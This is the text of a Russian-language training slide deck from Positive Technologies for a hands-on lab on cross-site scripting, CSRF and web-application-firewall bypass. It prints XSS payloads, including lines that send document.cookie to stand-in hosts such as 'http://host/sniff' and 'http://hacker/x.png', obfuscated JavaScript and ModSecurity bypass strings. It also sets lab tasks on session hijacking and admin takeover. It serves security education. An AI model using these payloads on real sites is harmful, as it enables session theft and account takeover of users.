'

Лабораторная работа по теме «Межсайтовое выполнение сценариев»

Понравилась презентация – покажи это...





Слайд 0

Лабораторная работа по теме «Межсайтовое выполнение сценариев» Дмитрий Евтеев Positive Technologies


Слайд 1

План лабораторной работы Введение в тему безопасности Web-приложений Уязвимость типа «Межсайтовое выполнение сценариев» Межсайтовое выполнение сценариев в Java/Flash-приложениях Обход фильтров безопасности и Web Application Firewall (WAF) Резюме


Слайд 2

Введение в тему безопасности Web-приложений…


Слайд 3

Опасный мир Web-приложений По данным компании Positive Technologies за 2009 год 79% сайтов содержат критические уязвимости 58% сайтов содержат уязвимости средней степени риска 54% сайтов содержат уязвимости, которые эксплуатируются на стороне клиента http://ptsecurity.ru/analytics.asp Данные основываются на проведении 6239 автоматических сканирований, детальном анализе 77 Web-приложений, преимущественно с использованием методики «черного ящика».


Слайд 4

Распределение вероятности обнаружения уязвимостей по степени риска (данные за 2009 год) http://ptsecurity.ru/analytics.asp


Слайд 5

Классификация уязвимостей в web-приложениях Web Application Security Consortium WASC-TCv2 / OWASP Top 10 CWE/SANS Top 25 Most Dangerous Programming Errors 2010 Threat Classification References Mapping Proposal http://projects.webappsec.org/Threat%20Classification%20References%20Mapping%20Proposal http://projects.webappsec.org/Threat-Classification http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project http://cwe.mitre.org/top25/archive/2010/2010_cwe_sans_top25.pdf


Слайд 6

Наиболее часто встречающиеся уязвимости веб-приложений при проведении анализа методом «черного ящика» Опасный мир Web-приложений: статистика за 2009 г.


Слайд 7

Часть 1: Межсайтовое выполнение сценариев Уязвимость типа «Межсайтовое выполнение сценариев» (Cross-site Scripting, XSS)


Слайд 8

Cross-Site Scripting – Базовые знания "Межсайтовое выполнение сценариев" Уязвимость Cross-Site Scripting (XSS) связана с возможностью внедрения HTML-кода в уязвимую страницу. Внедрение кода может осуществляться через все доступные способы ввода информации. Успешная эксплуатация уязвимости может позволить атакующему использовать значения различных переменных, доступных в контексте сайта, записывать информацию, перехватывать сессии пользователей и т.д.


Слайд 9

"Межсайтовое выполнение сценариев" может использоваться для: Подмены содержимого сайта (content spoofing, fishing) Получения доступа к данным в контексте уязвимого сайта (например, к содержимому document.cookie) Проведения атак на компоненты среды клиента (браузер, ActiveX, Adobe, etc.) Распространения вредоносного кода (ajax-worms) Cross-Site Scripting – Базовые знания


Слайд 10

Наглядный пример уязвимости типа «Межсайтовое выполнение сценариев» Web-сервер http://web/?search=WhatIsWebSecurity ... <tr> <td valign="center"><input class="inputtext" type="text" name="q“ value="What Is Web Security"></td> <td valign="center"><input type="submit" class="inputbutton" value="Искать"></td> </tr> ...


Слайд 11

Наглядный пример уязвимости типа «Межсайтовое выполнение сценариев» Web-сервер http://web/?search="><script>alert('XSS')</script> ... <tr> <td valign="center"><input class="inputtext" type="text" name="q“ value=""><script>alert('XSS')</script>"></td> <td valign="center"><input type="submit" class="inputbutton" value="Искать"></td> </tr> ...


Слайд 12

Cross-Site Scripting – Базовые знания Условно Cross-Site Scripting (XSS) делят на следующие типы: Сохраненный вариант (persistent/stored) Отраженный вариант (non-persistent/reflected) Cross-Site Scripting обычно можно встретить: В HTML-теге В теле JavaScript/VBScript/etc (eq DOM-based) В коде-HTML В параметре тега-HTML В Java/Flash приложениях В ActiveX … Cross-Site Scripting – это уязвимость на стороне клиента (client side) Microsoft Internet Explorer 8 XSS filter Mozilla NoScript Firefox extension


Слайд 13

Cross-Site Scripting – Классическая эксплуатация Возможный метод обнаружения уязвимости /?id="><script>alert(1)</script> HTML-код возвращаемой страницы примет вид В параметре тега …<font size=""><script>alert(1)</script>"… В тексте …<p>"><script>alert(1)</script></p>… В результате браузер выполнит JavaScript-код Пример практического использования: "><script src=http://host/script.js></script>


Слайд 14

Cross-Site Scripting – Классическая эксплуатация Пример (1) – по событию Уязвимый HTML-код: … <IMG SRC="$filename"> … Эксплуатация: /?filename="onerror=alert('XSS');" /?filename="onerror=javascript:alert('XSS');" … HTML-код возвращаемой страницы примет вид: … <IMG SRC=""onerror=alert('XSS');""> … Пример практического использования: /?filename="onerror="xss=new/**/Image().src='http://host/sniff?c='%2Bescape(document.cookie);"


Слайд 15

Cross-Site Scripting – Различия браузеров http://projects.webappsec.org/Script-Mapping


Слайд 16

Cross-Site Scripting – Классическая эксплуатация Пример (2) – DOM-based Уязвимый код: ... <select><script> document.write("<OPTION value=1>"+document.location.href.substring (document.location.href.indexOf("default=")+8)+"</OPTION>"); document.write("<OPTION value=2>English</OPTION>"); </script></select> ... Штатная работа сценария: /?default=Russia /?default=French … Эксплуатация: /?default=<script>alert(document.cookie)</script>


Слайд 17

Cross-Site Scripting – Безопасность Cookie Атрибуты Cookie Set-Cookie: <name>=<value>[; <Max-Age>=<age>] [; expires=<date>][; domain=<domain_name>] [; path=<some_path>][; secure][; HTTPOnly]


Слайд 18

Наглядный пример атаки с использованием уязвимости типа «Межсайтовое выполнение сценариев» Web-сервер 1. fuzzing, поиск уязвимости 2. Передача «заряженной» ссылки: http://web/?search="><script>...</script> 3. Переход по ссылке 4. Выполнение исполняемого кода в браузере пользователя 5. Например, передача Web-сессии (cookies) 6. Работа с Web-приложением от имени атакованного пользователя


Слайд 19

Практическое занятие (1) http://192.168.0.51:80/ Найти уязвимость типа «Межсайтовое выполнение сценариев». Создать сниффер для записи полезных данных. Осуществить перехват сессии администратора приложения. Авторизоваться под учетной записью администратора приложения.


Слайд 20

Часть 2: Межсайтовое выполнение сценариев в Java/Flash Межсайтовое выполнение сценариев в Java/Flash-приложениях


Слайд 21

XSS && CSRF – Базовые знания Уязвимость типа "Подделка HTTP-запросов" (Cross-Site Request Forgery, CSRF, XSRF) Практически не входит в статистику уязвимостей Positive Technologies и WASC по автоматизированным сканированиям (сложности при автоматизированном обнаружении) В основном, эта ошибка встречается в том или ином виде во всех проанализированных веб-приложениях Степень опасности уязвимости CSRF на прямую зависит от функций и задач, решаемых приложением Cross-Site Request Forgery – вид атаки, использующий функцию браузера по автоматической отправке идентификатора сессии с каждым GET/POST-запросом к веб-приложению Уязвимость известна и используется с 1988 г., но только сейчас стало заметно движение в сторону ее повсеместного устранения (крупные Интернет-проекты, приложения eCommerce и др.) Зачастую применяется связка XSS + CSRF


Слайд 22

Наглядный пример атаки с использованием уязвимости типа«Подделка HTTP-запросов» Интернет-форум 1. Публикация сообщения: <img src=http://ibanking/action?account=12345&amount=500&for=54321> Интернет-банк (ibanking) 2. Пользователь посещает форум 3. Браузер загружает картинку по адресу: http://ibanking/action?... 4. Если сессия пользователя существует, то…


Слайд 23

document.domain = "example.com"; (!) Методы обхода - Anti DNS Pinning, уязвимости реализации Ограничения политики доступа (Same origin policy)


Слайд 24

Для безопасности используются изолированные зоны безопасности (Sandbox security model) Легальный способ расширения зоны безопасности – это использование файла «crossdomain.xml» <cross-domain-policy> <allow-access-from domain="*"/> </cross-domain-policy> Или вызов соответствующей функции System.security.loadPolicyFile ("http://site/crossdomain.xml"); Cross-Site Scripting (Java/Flash) – Базовые знания


Слайд 25

Потенциально небезопасные функции ActionScript: loadVariables() loadMovie() getURL() loadMovie() loadMovieNum() FScrollPane.loadScrollContent() LoadVars.load() LoadVars.send() LoadVars.sendAndLoad() MovieClip.getURL() MovieClip.loadMovie() NetConnection.connect() NetServices.createGatewayConnection() NetSteam.play() Sound.loadSound() XML.load() XML.send() XML.sendAndLoad() Cross-Site Scripting (Java/Flash) – Базовые знания


Слайд 26

Пример уязвимого кода на языке JAVA Cross-Site Scripting (Java/Flash) – Базовые знания


Слайд 27

Практическое занятие (2) http://192.168.0.51:81/ Найти уязвимость типа «Межсайтовое выполнение сценариев». Воспользоваться AJAX-сценарием http://192.168.0.51:8085/act.js для автоматизированной эксплуатации уязвимости «Межсайтовое выполнение сценариев». Воспользоваться уязвимостью типа «Межсайтовое выполнение сценариев» с автоматическим созданием нового пользователя в тестовом приложении. Авторизоваться под учетной записью созданного пользователя.


Слайд 28

Часть 3: Обход фильтров безопасности и WAF Обход фильтров безопасности и WAF


Слайд 29

Что такое WAF http://server/?id=6329&print=Y Нас атакуют! Ахтунг!!! WAF Webserver http://server/?id=5351 http://server/?id=8234 http://server/?id="><script>... http://server/?id=1+union+select... http://server/?id=/../../../etc/passwd Нормализация данных Decode HTML entities (e.g. &#99;, &quot;, &#xAA;) Escaped characters (e.g. \t, \001, \xAA, \uAABB) Null byte string termination ... Поиск сигнатуры /(sel)(ect.+fr)(om)/is /(uni)(on.+sel)(ect)/is ...


Слайд 30

Какие они бывают По режиму работы: Мост/Маршрутизатор Обратный прокси-сервер Встроенный По модели защиты: Основанный на сигнатуре (Signature-based) Основанный на правилах (Rule-based) По реакции на «плохой» запрос: Очистка «опасных» данных Блокировка запроса Блокировка источника атаки


Слайд 31

Методы обхода WAF Фундаментальные ограничения технологии Неспособность полностью защитить Web-приложение от всех возможных уязвимостей Общие проблемы Разработчикам универсальных фильтров WAF приходиться балансировать между эффективностью фильтра и минимизацией ошибок блокировки легитимного трафика Обработка возвращаемого трафика клиенту Уязвимости реализации Технологии нормализации запроса Использование новых техник эксплуатации уязвимостей в Web (HTTP Parameter Pollution, HTTP Parameter Fragmentation, замена null-byte и т.п.)


Слайд 32

Общие проблемы Сохраненный вариант XSS В случае если удалось «протащить» XSS через фильтр, WAF не сможет воспрепятствовать реализации атаки Отраженный вариант XSS в JavaScript-коде (инъекция JavaScript) Пример: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script> Эксплуатация: /?xss=500); alert(document.cookie);// DOM-based XSS Пример: <script> ... eval($_GET[xss]); ... </script> Эксплуатация: /?xss=document.cookie Аналогичные проблемы наблюдаются у фильтров защиты от XSS на стороне клиента client-side (например, IE8) Методы обхода WAF – Cross-Site Scripting


Слайд 33

Методы обхода WAF: Возможные способы кодирования JavaScript Пример: <script>alert(1)</script> Hex-кодирование (URL-представление) %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E HTML-кодирование &#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E; &#60&#115&#99&#114&#105&#112&#116&#62&#97&#108&#101&#114&#116&#40&#49&#41&#60&#47&#115&#99&#114&#105&#112&#116&#62 UTF7 +ADw-SCRIPT+AD4-alert('1');+ADw-/SCRIPT+AD4- … UTF8, base64, escape-encoding (style), etc


Слайд 34

Методы обхода WAF: Возможные способы кодирования JavaScript Пример с BlackHat USA09: <script> ($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_) </script> BlackHat USA09 Eduardo Vela (Эдуардо Вела), David Lindsay (Дэвид Линдсэй) http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf;


Слайд 35

Методы обхода WAF: Возможные способы кодирования JavaScript http://utf-8.jp/public/jjencode.html


Слайд 36

Практика обхода WAF: Cross-Site Scripting Обход правил фильтрации на примере ModSecurity: 1;alert/*skip*/('XSS'); <img src="x:alert" onerror="eval(src%2b'(0)')"> ";document.write('<img sr'%2b'c=http://hacker/x.png?'%2bdocument['cookie']%2b'>');" ... BlackHat USA09 Eduardo Vela (Эдуардо Вела), David Lindsay (Дэвид Линдсэй) http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf


Слайд 37

Практическое занятие (3) http://192.168.0.51:82/ Найти уязвимость типа «Межсайтовое выполнение сценариев». Воспользоваться техникой обхода WAF. Осуществить перехват сессии администратора приложения. Восстановить используемый пароль администратора приложения по перехваченному хеш-значению md5 используемого пароля. Авторизоваться под учетной записью администратора приложения.


Слайд 38

Резюме лабораторной работы


Слайд 39

Межсайтовое выполнение сценариев часто встречается на широко известных и крупных Интернет-ресурсах Cross-Site Scripting в «живой природе»


Слайд 40

Резюме Cross-Site Scripting – широко распространенная ошибка, допускаемая при разработке приложений Пути устранения уязвимости типа «Межсайтовое выполнение сценариев» не всегда прозрачны Правильно выстроенный процесс Software Development Life Cycle (SDLC) в значительной степени снижает вероятность появления уязвимостей в коде Защита Web-приложений, также как и информационная безопасность в целом должна быть комплексной :)


Слайд 41

Дополнительные материалы и ссылки Web Application Security Consortium (WASC) http://projects.webappsec.org/Cross-Site+Scripting http://projects.webappsec.org/Script-Mapping Open Web Application Security Project (OWASP) http://www.owasp.org/index.php/Cross-site_Scripting_(XSS) ha.ckers XSS (Cross Site Scripting) Cheat Sheet http://ha.ckers.org/xss.html Jjencode http://utf-8.jp/public/jjencode.html


Слайд 42

Спасибо за внимание! devteev@ptsecurity.ru http://devteev.blogspot.com/ http://ptresearch.blogspot.com/ http://www.ptsecurity.ru/


×

HTML:





Ссылка: